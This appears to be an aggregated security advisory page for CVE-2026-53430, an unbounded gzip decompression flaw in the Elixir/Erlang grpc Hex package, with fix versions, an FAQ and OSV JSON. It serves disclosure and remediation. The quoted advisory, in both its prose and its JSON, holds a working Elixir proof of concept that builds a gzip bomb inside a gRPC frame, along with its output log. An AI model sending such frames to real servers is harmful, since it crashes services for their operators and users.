CVE-2026-53430: Grpc GRPC Erlang Package Has Unbounded Vulnerability

HIGH
Advisory Identifier: GHSA-6ccx-9c9f-327w
CWE-409
Published
Advisory Summary

CVE-2026-53430 is a HIGH grpc erlang package has unbounded vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Grpc libraries in the Hex ecosystem. The issue involves grpc erlang package has unbounded gzip decompression (decompression bomb). Remediation is available by upgrading affected packages to version 1.0.0.

CVE-2026-53430 at a Glance

CVE Identifier CVE-2026-53430
GHSA Identifier GHSA-6ccx-9c9f-327w
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product Grpc
Package Ecosystem Hex
Published Date
Last Updated

How to Fix CVE-2026-53430

To remediate this vulnerability, upgrade all affected Grpc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

grpc fixed: 1.0.0
Upgrade grpc to 1.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for grpc

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53430, inspect your project dependencies for Grpc:

inspect dependencies for grpc

Analyze the terminal output to locate any version of Grpc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Grpc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service). Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba ### Details `GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node. ### PoC A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request. ### Impact This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`. ## Scripts and Logs ```elixir # Verifies: Unbounded gzip decompression (decompression bomb) Mix.install([{:grpc, "~> 0.9"}]) # Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB. uncompressed_size = 200 * 1024 * 1024 bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size)) # Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1) # set. This is the exact wire shape an outside peer would put on the socket # for a `grpc-encoding: gzip` message. frame = <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>> IO.puts( "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes" ) :erlang.garbage_collect() mem_before = :erlang.memory(:total) IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB") # Public entry point: GRPC.Message.from_data/2 is what the server's request # handling pipeline calls with the raw bytes pulled off an incoming HTTP/2 # DATA frame, once it has resolved the encoding header to a compressor module. # An outside attacker controls `frame`; the library is the trust boundary. {:ok, decompressed} = GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame) mem_after = :erlang.memory(:total) IO.puts("Memory after: #{div(mem_after, 1024 * 1024)} MB") IO.puts("Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB") IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes") amplification = byte_size(decompressed) / byte_size(bomb_payload) IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x") if byte_size(decompressed) == uncompressed_size do IO.puts( "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload." ) else IO.puts("NOT VERIFIED: decompressed size did not match expected payload") end ``` ```logs Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes Memory before: 45 MB Memory after: 403 MB Delta: 358 MB Decompressed binary size: 209715200 bytes Amplification ratio: ~1028.7x VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload. ```

CVE-2026-53430 Affected Grpc Versions

1 component(s)
Fixed Versions:
1.0.0
Product / Package Ecosystem Affected Versions Fixed Version
grpc
Hex
≥ 0.4.0
< 1.0.0
1.0.0

References

Frequently Asked Questions

What is CVE-2026-53430?
CVE-2026-53430 is a security vulnerability in Grpc involving gRPC Erlang package has unbounded gzip decompression (decompression bomb) under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which Grpc versions are affected?
Affected versions include releases prior to 1.0.0 across affected packages: grpc.
What version fixes CVE-2026-53430?
Upgrading to 1.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is grpc affected?
Yes, grpc is affected in releases prior to 1.0.0. Upgrade your dependency to 1.0.0 or later.
What CWE is associated with CVE-2026-53430?
CVE-2026-53430 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check Hex dependencies for CVE-2026-53430?
Run the dependency tree command: 'inspect dependencies for grpc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6ccx-9c9f-327w",
  "modified" : "2026-08-25T18:12:58Z",
  "published" : "2026-08-25T18:12:58Z",
  "aliases" : [ "CVE-2026-53430" ],
  "summary" : "gRPC Erlang package has unbounded gzip decompression (decompression bomb)",
  "details" : "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~> 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server's request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -> claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "grpc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.4.0"
      }, {
        "fixed" : "1.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/pull/543"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-53430.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/elixir-grpc/grpc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T18:12:58Z",
    "nvd_published_at" : "2026-06-15T23:16:46Z"
  }
}